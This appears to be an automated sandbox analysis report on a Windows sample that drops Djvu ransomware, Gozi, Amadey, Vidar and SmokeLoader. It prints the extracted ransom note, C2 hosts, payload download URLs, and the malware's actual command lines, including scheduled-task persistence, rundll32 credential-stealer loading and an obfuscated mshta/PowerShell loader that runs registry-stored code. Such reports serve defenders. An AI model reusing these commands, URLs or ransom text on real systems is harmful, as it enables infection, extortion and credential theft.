Overview

overview

10

Static

static

file.exe

windows10-2004-x64

10

Resubmissions

31-12-2022 01:07

221231-bgzn7acb5w 10

30-12-2022 05:02

221230-fpg7bsfa42 10

30-12-2022 04:57

221230-fle8kaac5s 10

30-12-2022 04:22

221230-ezp49aac2s 10

30-12-2022 04:06

221230-en3wzaab8z 10

30-12-2022 03:32

221230-d3mmvsab5z 10

Analysis

  • max time kernel
    873s
  • max time network
    866s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-12-2022 04:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    313KB

  • MD5

    b5f0d1af9148fca94db5887351a06974

  • SHA1

    6016d4fcd764b533aece1434e7b037e11e434f0e

  • SHA256

    649c5708889efc3d88f6c4d3806d39a52aceb7042ca63259d4c66ff2a125b4ae

  • SHA512

    9f22c5b10e0585b267ddd88bebf4e90b92bdb89458746ab32edee142e84b2710d344a507d93c564d03ece8f70ebdd90a9024dc8c61c8caffa09f6097a32b7d0f

  • SSDEEP

    3072:Xil5BLGTK5HWLMAY5Vpslfm5oPy9wexpwLDU45DhG8ENrOKbIxe01Cz5Mqdqujox:CfLG4pLHxSyIxZ1WqqdS49

Score
10/10
amadeydcratdjvugozilgoogloadersmokeloadervidar1922500backdoorbankercollectiondiscoverydownloaderevasioninfostealerisfbpersistenceransomwareratspywarestealertrojanvmprotect

Malware Config

Extracted

Path

C:\_readme.txt

Family

djvu

Ransom Note
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-oWam3yYrSr Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshmail.top Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0622JOsieVEqkcaVIxMLd1m3qIE2V0o4dDI9mGsE02NWUTjMh
Emails

support@freshmail.top

datarestorehelp@airmail.cc
URLs

https://we.tl/t-oWam3yYrSr

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

22500

C2

confisg.edge.skype.com

http://

s28bxcw.xyz

config.edgse.skype.com

http://89.43.107.7
Attributes
  • base_path

    /recycle/

  • build

    250249

  • exe_type

    loader

  • extension

    .alo

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

amadey

Version

3.63

C2

62.204.41.67/g8sjnd3xe/index.php

Extracted

Family

djvu

C2

http://ex3mall.com/lancer/get.php

Attributes
  • extension

    .isza

  • offline_id

    m3KmScxfDyEQzJYP8qjOSfP4FvpsOXlekGuMPzt1

  • payload_url

    http://uaery.top/dl/build2.exe

    http://ex3mall.com/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-oWam3yYrSr Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshmail.top Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0622JOsie

rsa_pubkey.plain

Extracted

Family

vidar

Version

1.7

Botnet

19

C2

https://t.me/robloxblackl

https://steamcommunity.com/profiles/76561199458928097
Attributes
  • profile_id

    19

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Detect Amadey credential stealer module 2 IoCs
  • Detected Djvu ransomware 11 IoCs
  • Detects LgoogLoader payload 2 IoCs
  • Detects Smokeloader packer 2 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

    ransomwaredjvu
  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

    bankertrojangozi
  • LgoogLoader

    A downloader capable of dropping and executing other malware families.

    downloaderlgoogloader
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Blocklisted process makes network request 64 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 64 IoCs
  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • VMProtect packed file 6 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 42 IoCs
  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 50 IoCs
  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 63 IoCs
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 39 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3436
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        2⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        PID:4956
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        2⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4216
      • C:\Windows\system32\regsvr32.exe
        regsvr32 /s C:\Users\Admin\AppData\Local\Temp\1E94.dll
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:396
        • C:\Windows\SysWOW64\regsvr32.exe
          /s C:\Users\Admin\AppData\Local\Temp\1E94.dll
          3⤵
          • Loads dropped DLL
          PID:2128
      • C:\Users\Admin\AppData\Local\Temp\1FDD.exe
        C:\Users\Admin\AppData\Local\Temp\1FDD.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Users\Admin\AppData\Local\Temp\1FDD.exe
          C:\Users\Admin\AppData\Local\Temp\1FDD.exe
          3⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\Windows\SysWOW64\icacls.exe
            icacls "C:\Users\Admin\AppData\Local\c774aac8-fb83-4c23-bff8-e93bda515a21" /deny *S-1-1-0:(OI)(CI)(DE,DC)
            4⤵
            • Modifies file permissions
            PID:2768
          • C:\Users\Admin\AppData\Local\Temp\1FDD.exe
            "C:\Users\Admin\AppData\Local\Temp\1FDD.exe" --Admin IsNotAutoStart IsNotTask
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:4704
            • C:\Users\Admin\AppData\Local\Temp\1FDD.exe
              "C:\Users\Admin\AppData\Local\Temp\1FDD.exe" --Admin IsNotAutoStart IsNotTask
              5⤵
              • Executes dropped EXE
              • Modifies extensions of user files
              • Checks computer location settings
              PID:1536
              • C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build2.exe
                "C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build2.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:4588
                • C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build2.exe
                  "C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build2.exe"
                  7⤵
                  • Executes dropped EXE
                  • Checks computer location settings
                  • Loads dropped DLL
                  PID:4088
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build2.exe" & exit
                    8⤵
                      PID:2256
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        9⤵
                        • Delays execution with timeout.exe
                        PID:1272
                • C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build3.exe
                  "C:\Users\Admin\AppData\Local\ea885678-d712-4e2e-935d-7931777b5be6\build3.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:1128
                  • C:\Windows\SysWOW64\schtasks.exe
                    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:4340
        • C:\Users\Admin\AppData\Local\Temp\225F.exe
          C:\Users\Admin\AppData\Local\Temp\225F.exe
          2⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
            "C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"
            3⤵
            • Executes dropped EXE
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:2228
            • C:\Windows\SysWOW64\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe" /F
              4⤵
              • Creates scheduled task(s)
              PID:3912
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
              4⤵
              • Blocklisted process makes network request
              • Loads dropped DLL
              • Accesses Microsoft Outlook profiles
              PID:540
        • C:\Users\Admin\AppData\Local\Temp\234A.exe
          C:\Users\Admin\AppData\Local\Temp\234A.exe
          2⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1408
          • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
            "C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"
            3⤵
            • Executes dropped EXE
            PID:4804
        • C:\Users\Admin\AppData\Local\Temp\2639.exe
          C:\Users\Admin\AppData\Local\Temp\2639.exe
          2⤵
          • Executes dropped EXE
          PID:1272
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1272 -s 376
            3⤵
            • Program crash
            PID:772
        • C:\Users\Admin\AppData\Local\Temp\27FF.exe
          C:\Users\Admin\AppData\Local\Temp\27FF.exe
          2⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious behavior: MapViewOfSection
          PID:4048
        • C:\Users\Admin\AppData\Local\Temp\3493.exe
          C:\Users\Admin\AppData\Local\Temp\3493.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
            3⤵
              PID:3000
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 1276
              3⤵
              • Program crash
              PID:1988
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 1284
              3⤵
              • Program crash
              PID:4972
          • C:\Users\Admin\AppData\Local\Temp\38F9.exe
            C:\Users\Admin\AppData\Local\Temp\38F9.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:1484
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
              3⤵
                PID:1952
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1252
                3⤵
                • Program crash
                PID:4984
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1272
                3⤵
                • Program crash
                PID:4696
            • C:\Users\Admin\AppData\Local\Temp\4B1B.exe
              C:\Users\Admin\AppData\Local\Temp\4B1B.exe
              2⤵
              • Executes dropped EXE
              PID:3024
            • C:\Users\Admin\AppData\Local\Temp\5211.exe
              C:\Users\Admin\AppData\Local\Temp\5211.exe
              2⤵
              • Executes dropped EXE
              PID:4564
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /4
              2⤵
              • Checks SCSI registry key(s)
              • Modifies registry class
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:2924
            • C:\Users\Admin\AppData\Local\Temp\C463.exe
              C:\Users\Admin\AppData\Local\Temp\C463.exe
              2⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of SetThreadContext
              PID:2452
              • C:\Users\Admin\AppData\Local\Temp\Sppyteaet.exe
                "C:\Users\Admin\AppData\Local\Temp\Sppyteaet.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:5060
              • C:\Windows\SysWOW64\rundll32.exe
                "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                3⤵
                • Blocklisted process makes network request
                • Sets service image path in registry
                • Accesses Microsoft Outlook accounts
                • Accesses Microsoft Outlook profiles
                • Suspicious use of SetThreadContext
                • Drops file in Program Files directory
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                • outlook_office_path
                • outlook_win_path
                PID:2780
                • C:\Windows\system32\rundll32.exe
                  "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 25521
                  4⤵
                    PID:3536
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask
                    4⤵
                      PID:3148
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask
                      4⤵
                        PID:652
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask
                        4⤵
                          PID:1444
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask
                          4⤵
                            PID:4544
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /End /tn \Microsoft\Windows\Wininet\CacheTask
                            4⤵
                              PID:3592
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask
                              4⤵
                                PID:5012
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 2452 -s 1420
                              3⤵
                              • Program crash
                              PID:772
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default"
                            2⤵
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Enumerates system info in registry
                            • Suspicious use of SetWindowsHookEx
                            PID:4320
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70
                              3⤵
                                PID:1524
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1688,7128250519800294755,13688152368369860549,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1700 /prefetch:2
                                3⤵
                                  PID:4748
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1688,7128250519800294755,13688152368369860549,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1840 /prefetch:8
                                  3⤵
                                    PID:4024
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1688,7128250519800294755,13688152368369860549,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2316 /prefetch:8
                                    3⤵
                                      PID:4844
                                    • C:\Windows\system32\WerFault.exe
                                      C:\Windows\system32\WerFault.exe -u -p 4320 -s 3556
                                      3⤵
                                      • Program crash
                                      PID:4664
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default"
                                    2⤵
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • Enumerates system info in registry
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2220
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70
                                      3⤵
                                        PID:3800
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1904,3653420766418310513,15443713116710968444,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1992 /prefetch:8
                                        3⤵
                                          PID:636
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1904,3653420766418310513,15443713116710968444,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1980 /prefetch:8
                                          3⤵
                                            PID:3988
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1904,3653420766418310513,15443713116710968444,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
                                            3⤵
                                              PID:2236
                                            • C:\Windows\system32\WerFault.exe
                                              C:\Windows\system32\WerFault.exe -u -p 2220 -s 3452
                                              3⤵
                                              • Program crash
                                              PID:4544
                                          • C:\Windows\system32\mspaint.exe
                                            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\MountSubmit.wmf"
                                            2⤵
                                            • Drops file in Windows directory
                                            • Suspicious use of SetWindowsHookEx
                                            PID:2800
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default"
                                            2⤵
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Enumerates system info in registry
                                            • Suspicious use of SetWindowsHookEx
                                            PID:1436
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70
                                              3⤵
                                                PID:516
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1884,936342547212948647,10663306135026538192,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2004 /prefetch:8
                                                3⤵
                                                  PID:868
                                                  • C:\Windows\system32\WerFault.exe
                                                    C:\Windows\system32\WerFault.exe -u -p 868 -s 804
                                                    4⤵
                                                    • Program crash
                                                    PID:3328
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1884,936342547212948647,10663306135026538192,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1992 /prefetch:8
                                                  3⤵
                                                    PID:3148
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1884,936342547212948647,10663306135026538192,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1936 /prefetch:2
                                                    3⤵
                                                      PID:2256
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1884,936342547212948647,10663306135026538192,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:8
                                                      3⤵
                                                        PID:1480
                                                      • C:\Windows\system32\WerFault.exe
                                                        C:\Windows\system32\WerFault.exe -u -p 1436 -s 3948
                                                        3⤵
                                                        • Program crash
                                                        PID:3356
                                                    • C:\Windows\System32\mshta.exe
                                                      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Onal='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Onal).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\C8075711-8708-3A2C-517C-AB0E15700F22\\\DriverDocument'));if(!window.flag)close()</script>"
                                                      2⤵
                                                        PID:3092
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name rxastttycl -value gp; new-alias -name xnrnxtc -value iex; xnrnxtc ([System.Text.Encoding]::ASCII.GetString((rxastttycl "HKCU:Software\AppDataLow\Software\Microsoft\C8075711-8708-3A2C-517C-AB0E15700F22").ControlJunk))
                                                          3⤵
                                                          • Suspicious use of SetThreadContext
                                                          • Suspicious behavior: MapViewOfSection
                                                          PID:764
                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cpsjwjlf\cpsjwjlf.cmdline"
                                                            4⤵
                                                              PID:3104
                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESECF1.tmp" "c:\Users\Admin\AppData\Local\Temp\cpsjwjlf\CSC8AE35AA6C9FF4DC692F11348EA51E782.TMP"
                                                                5⤵
                                                                  PID:8
                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1zkrw51f\1zkrw51f.cmdline"
                                                                4⤵
                                                                  PID:1120
